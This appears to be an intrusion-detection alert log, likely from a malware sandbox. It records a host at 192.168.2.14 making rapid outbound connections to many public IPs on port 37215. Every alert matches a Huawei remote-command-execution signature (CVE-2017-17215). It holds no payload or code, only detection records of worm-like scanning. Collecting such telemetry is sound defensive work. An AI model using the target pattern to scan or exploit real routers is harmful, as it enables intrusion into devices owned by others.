2024-10-08T20:35:45.834516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56284	197.204.102.8	37215	TCP
2024-10-08T20:35:45.834555+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44384	197.195.104.5	37215	TCP
2024-10-08T20:35:45.836402+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49004	197.181.176.204	37215	TCP
2024-10-08T20:35:45.836402+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58908	197.166.13.221	37215	TCP
2024-10-08T20:35:45.836430+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58080	197.116.137.182	37215	TCP
2024-10-08T20:35:45.836754+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40244	197.246.164.161	37215	TCP
2024-10-08T20:35:45.836842+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47256	41.64.140.216	37215	TCP
2024-10-08T20:35:45.837058+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40582	156.250.158.191	37215	TCP
2024-10-08T20:35:45.854717+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49478	41.195.115.20	37215	TCP
2024-10-08T20:35:45.867708+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43032	41.80.61.237	37215	TCP
2024-10-08T20:35:46.818213+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36886	156.21.181.64	37215	TCP
2024-10-08T20:35:46.848424+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60122	197.65.244.129	37215	TCP
2024-10-08T20:35:46.864032+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60078	197.152.205.67	37215	TCP
2024-10-08T20:35:46.864079+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42636	197.38.2.38	37215	TCP
2024-10-08T20:35:46.867910+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52030	41.7.82.255	37215	TCP
2024-10-08T20:35:46.879654+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59528	197.51.233.109	37215	TCP
2024-10-08T20:35:46.879748+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58546	197.236.201.144	37215	TCP
2024-10-08T20:35:46.899048+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47044	41.121.53.253	37215	TCP
2024-10-08T20:35:46.910968+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56606	41.191.41.20	37215	TCP
2024-10-08T20:35:46.911033+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54788	156.105.159.83	37215	TCP
2024-10-08T20:35:46.930708+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56988	197.58.129.139	37215	TCP
2024-10-08T20:35:46.943819+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46546	197.110.16.15	37215	TCP
2024-10-08T20:35:46.980564+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46110	156.220.141.52	37215	TCP
2024-10-08T20:35:47.738981+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60962	156.226.126.33	37215	TCP
2024-10-08T20:35:47.848199+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57030	197.117.229.128	37215	TCP
2024-10-08T20:35:47.863534+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49820	156.50.230.134	37215	TCP
2024-10-08T20:35:47.864884+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51514	41.122.150.251	37215	TCP
2024-10-08T20:35:47.866528+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51566	197.78.144.24	37215	TCP
2024-10-08T20:35:47.867622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51178	197.123.72.199	37215	TCP
2024-10-08T20:35:47.867622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45746	156.5.60.150	37215	TCP
2024-10-08T20:35:47.867630+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50302	156.148.15.158	37215	TCP
2024-10-08T20:35:47.867630+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40804	41.62.92.106	37215	TCP
2024-10-08T20:35:47.867712+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46612	197.162.15.89	37215	TCP
2024-10-08T20:35:47.867713+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53040	41.130.221.27	37215	TCP
2024-10-08T20:35:47.867734+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50714	156.180.51.47	37215	TCP
2024-10-08T20:35:47.870325+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43186	41.171.232.22	37215	TCP
2024-10-08T20:35:47.880462+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51644	197.179.200.161	37215	TCP
2024-10-08T20:35:47.880571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35532	41.90.152.176	37215	TCP
2024-10-08T20:35:47.882607+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54816	197.64.157.48	37215	TCP
2024-10-08T20:35:47.882619+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45698	156.125.157.8	37215	TCP
2024-10-08T20:35:47.884929+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52512	156.29.57.209	37215	TCP
2024-10-08T20:35:47.884932+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35392	41.144.229.61	37215	TCP
2024-10-08T20:35:47.886571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57678	41.84.192.143	37215	TCP
2024-10-08T20:35:47.886691+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49446	197.41.11.217	37215	TCP
2024-10-08T20:35:47.897158+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44984	41.187.214.190	37215	TCP
2024-10-08T20:35:47.897158+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33988	41.149.189.48	37215	TCP
2024-10-08T20:35:47.897174+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57200	197.173.147.25	37215	TCP
2024-10-08T20:35:47.898662+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51320	156.78.62.241	37215	TCP
2024-10-08T20:35:47.898688+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35048	156.232.164.254	37215	TCP
2024-10-08T20:35:47.899475+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60840	41.233.102.39	37215	TCP
2024-10-08T20:35:47.899475+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37150	41.174.164.204	37215	TCP
2024-10-08T20:35:47.899496+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54404	197.120.51.76	37215	TCP
2024-10-08T20:35:47.899537+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37808	156.145.102.75	37215	TCP
2024-10-08T20:35:47.913128+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56760	156.59.153.179	37215	TCP
2024-10-08T20:35:47.914200+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50254	197.179.23.202	37215	TCP
2024-10-08T20:35:47.916038+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44356	156.93.252.221	37215	TCP
2024-10-08T20:35:47.916352+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41210	41.176.70.70	37215	TCP
2024-10-08T20:35:47.916353+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55146	156.55.142.155	37215	TCP
2024-10-08T20:35:47.917621+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36568	41.171.175.173	37215	TCP
2024-10-08T20:35:48.006130+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44154	156.228.171.71	37215	TCP
2024-10-08T20:35:48.864078+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58920	41.162.33.154	37215	TCP
2024-10-08T20:35:48.864169+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60616	197.85.92.174	37215	TCP
2024-10-08T20:35:48.864424+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59858	197.220.167.219	37215	TCP
2024-10-08T20:35:48.864846+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55728	197.107.177.25	37215	TCP
2024-10-08T20:35:48.865756+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39442	197.122.35.223	37215	TCP
2024-10-08T20:35:48.868573+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51404	156.247.249.17	37215	TCP
2024-10-08T20:35:49.911433+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33060	41.198.169.218	37215	TCP
2024-10-08T20:35:49.926607+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50576	156.115.162.34	37215	TCP
2024-10-08T20:35:49.927140+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38338	197.205.93.55	37215	TCP
2024-10-08T20:35:49.945935+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48660	156.193.39.131	37215	TCP
2024-10-08T20:35:49.948198+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47310	41.207.23.200	37215	TCP
2024-10-08T20:35:49.973304+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38400	197.91.113.70	37215	TCP
2024-10-08T20:35:49.977413+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59172	156.31.130.142	37215	TCP
2024-10-08T20:35:49.993295+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60920	41.81.123.148	37215	TCP
2024-10-08T20:35:50.011414+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43540	156.32.158.40	37215	TCP
2024-10-08T20:35:50.910152+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40710	156.172.166.79	37215	TCP
2024-10-08T20:35:50.926603+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54366	197.125.8.232	37215	TCP
2024-10-08T20:35:50.926944+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39972	41.66.154.181	37215	TCP
2024-10-08T20:35:50.942848+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47064	156.35.210.201	37215	TCP
2024-10-08T20:35:50.942978+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51588	197.47.182.82	37215	TCP
2024-10-08T20:35:50.942982+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38200	41.8.254.82	37215	TCP
2024-10-08T20:35:50.943168+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44470	197.109.111.142	37215	TCP
2024-10-08T20:35:50.944027+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56034	156.137.207.245	37215	TCP
2024-10-08T20:35:50.944594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45048	197.180.240.108	37215	TCP
2024-10-08T20:35:50.945832+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34340	156.236.9.83	37215	TCP
2024-10-08T20:35:50.946039+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39756	197.173.118.46	37215	TCP
2024-10-08T20:35:50.959516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41052	197.16.232.86	37215	TCP
2024-10-08T20:35:50.959870+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48346	197.25.73.244	37215	TCP
2024-10-08T20:35:50.960074+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36308	197.134.210.10	37215	TCP
2024-10-08T20:35:50.974886+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48382	41.136.102.142	37215	TCP
2024-10-08T20:35:50.993157+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47020	41.44.182.116	37215	TCP
2024-10-08T20:35:51.957982+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45334	41.38.214.252	37215	TCP
2024-10-08T20:35:51.958376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34416	41.195.60.238	37215	TCP
2024-10-08T20:35:51.959227+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50370	156.0.238.151	37215	TCP
2024-10-08T20:35:51.959331+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50956	156.19.38.198	37215	TCP
2024-10-08T20:35:51.973326+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48480	156.19.187.126	37215	TCP
2024-10-08T20:35:51.978871+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60100	41.120.181.57	37215	TCP
2024-10-08T20:35:52.004654+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45960	41.81.136.69	37215	TCP
2024-10-08T20:35:52.008969+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36566	197.90.254.119	37215	TCP
2024-10-08T20:35:52.009892+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50870	197.176.144.209	37215	TCP
2024-10-08T20:35:52.974882+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44724	41.197.234.192	37215	TCP
2024-10-08T20:35:52.989443+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42104	156.227.79.126	37215	TCP
2024-10-08T20:35:52.989511+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55376	156.251.137.135	37215	TCP
2024-10-08T20:35:52.989751+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39104	156.213.168.144	37215	TCP
2024-10-08T20:35:52.990089+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48638	197.77.70.226	37215	TCP
2024-10-08T20:35:52.990483+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52332	197.34.236.117	37215	TCP
2024-10-08T20:35:52.990815+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54256	41.217.249.135	37215	TCP
2024-10-08T20:35:52.990826+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43782	156.116.146.10	37215	TCP
2024-10-08T20:35:52.991714+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44828	156.42.11.249	37215	TCP
2024-10-08T20:35:52.991911+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57036	41.212.247.124	37215	TCP
2024-10-08T20:35:52.992730+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44616	156.183.184.0	37215	TCP
2024-10-08T20:35:52.993075+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50438	197.75.114.91	37215	TCP
2024-10-08T20:35:52.994736+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57224	41.138.83.62	37215	TCP
2024-10-08T20:35:52.994912+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52042	156.78.217.65	37215	TCP
2024-10-08T20:35:53.004670+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34374	156.190.163.140	37215	TCP
2024-10-08T20:35:53.006424+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34390	156.159.203.29	37215	TCP
2024-10-08T20:35:53.006701+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43042	156.245.242.218	37215	TCP
2024-10-08T20:35:53.007533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47424	156.199.216.15	37215	TCP
2024-10-08T20:35:53.008398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55736	197.191.15.230	37215	TCP
2024-10-08T20:35:53.008760+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48366	41.119.10.9	37215	TCP
2024-10-08T20:35:53.010475+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48578	41.149.66.79	37215	TCP
2024-10-08T20:35:53.011426+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42468	197.52.125.255	37215	TCP
2024-10-08T20:35:53.012513+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38376	41.185.81.228	37215	TCP
2024-10-08T20:35:53.022528+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50198	156.153.101.1	37215	TCP
2024-10-08T20:35:54.051157+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46150	197.52.127.134	37215	TCP
2024-10-08T20:35:54.051499+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60536	197.56.84.192	37215	TCP
2024-10-08T20:35:54.051903+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54216	41.187.126.125	37215	TCP
2024-10-08T20:35:54.052695+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56146	156.50.134.1	37215	TCP
2024-10-08T20:35:54.052922+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48116	197.194.66.46	37215	TCP
2024-10-08T20:35:54.067422+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47470	156.100.1.246	37215	TCP
2024-10-08T20:35:54.067710+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49334	41.164.110.252	37215	TCP
2024-10-08T20:35:54.067757+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39160	41.43.109.86	37215	TCP
2024-10-08T20:35:54.068071+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41018	156.122.120.97	37215	TCP
2024-10-08T20:35:54.082491+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46982	156.168.184.128	37215	TCP
2024-10-08T20:35:54.083084+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43578	197.11.10.186	37215	TCP
2024-10-08T20:35:54.083152+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54656	156.133.141.192	37215	TCP
2024-10-08T20:35:54.083379+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58624	156.232.174.235	37215	TCP
2024-10-08T20:35:54.083612+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58156	41.90.57.136	37215	TCP
2024-10-08T20:35:54.084497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44052	41.116.22.6	37215	TCP
2024-10-08T20:35:54.084550+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38760	197.5.126.180	37215	TCP
2024-10-08T20:35:54.086955+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36020	197.205.142.75	37215	TCP
2024-10-08T20:35:54.101341+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50254	156.142.155.135	37215	TCP
2024-10-08T20:35:54.101588+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35066	41.252.205.62	37215	TCP
2024-10-08T20:35:54.101730+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43660	156.86.88.205	37215	TCP
2024-10-08T20:35:54.101927+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53936	41.174.196.98	37215	TCP
2024-10-08T20:35:54.107327+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39902	156.7.96.81	37215	TCP
2024-10-08T20:35:54.112278+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54164	197.30.199.181	37215	TCP
2024-10-08T20:35:54.140508+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41068	41.128.108.99	37215	TCP
2024-10-08T20:35:54.155341+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60952	197.175.32.170	37215	TCP
2024-10-08T20:35:55.052108+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52832	197.18.222.189	37215	TCP
2024-10-08T20:35:55.052131+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34232	197.226.71.25	37215	TCP
2024-10-08T20:35:55.052131+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59928	41.221.187.17	37215	TCP
2024-10-08T20:35:55.052248+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47026	156.72.54.76	37215	TCP
2024-10-08T20:35:55.067085+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49862	156.232.68.120	37215	TCP
2024-10-08T20:35:55.067132+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56262	156.146.247.57	37215	TCP
2024-10-08T20:35:55.067652+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34140	197.71.164.233	37215	TCP
2024-10-08T20:35:55.069828+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48206	156.85.59.68	37215	TCP
2024-10-08T20:35:55.071070+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46856	41.250.105.225	37215	TCP
2024-10-08T20:35:55.071532+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44988	41.20.89.21	37215	TCP
2024-10-08T20:35:55.071877+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55652	156.41.92.242	37215	TCP
2024-10-08T20:35:55.083094+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59712	197.255.113.200	37215	TCP
2024-10-08T20:35:55.083142+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48122	156.50.193.209	37215	TCP
2024-10-08T20:35:55.084016+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40796	41.161.94.154	37215	TCP
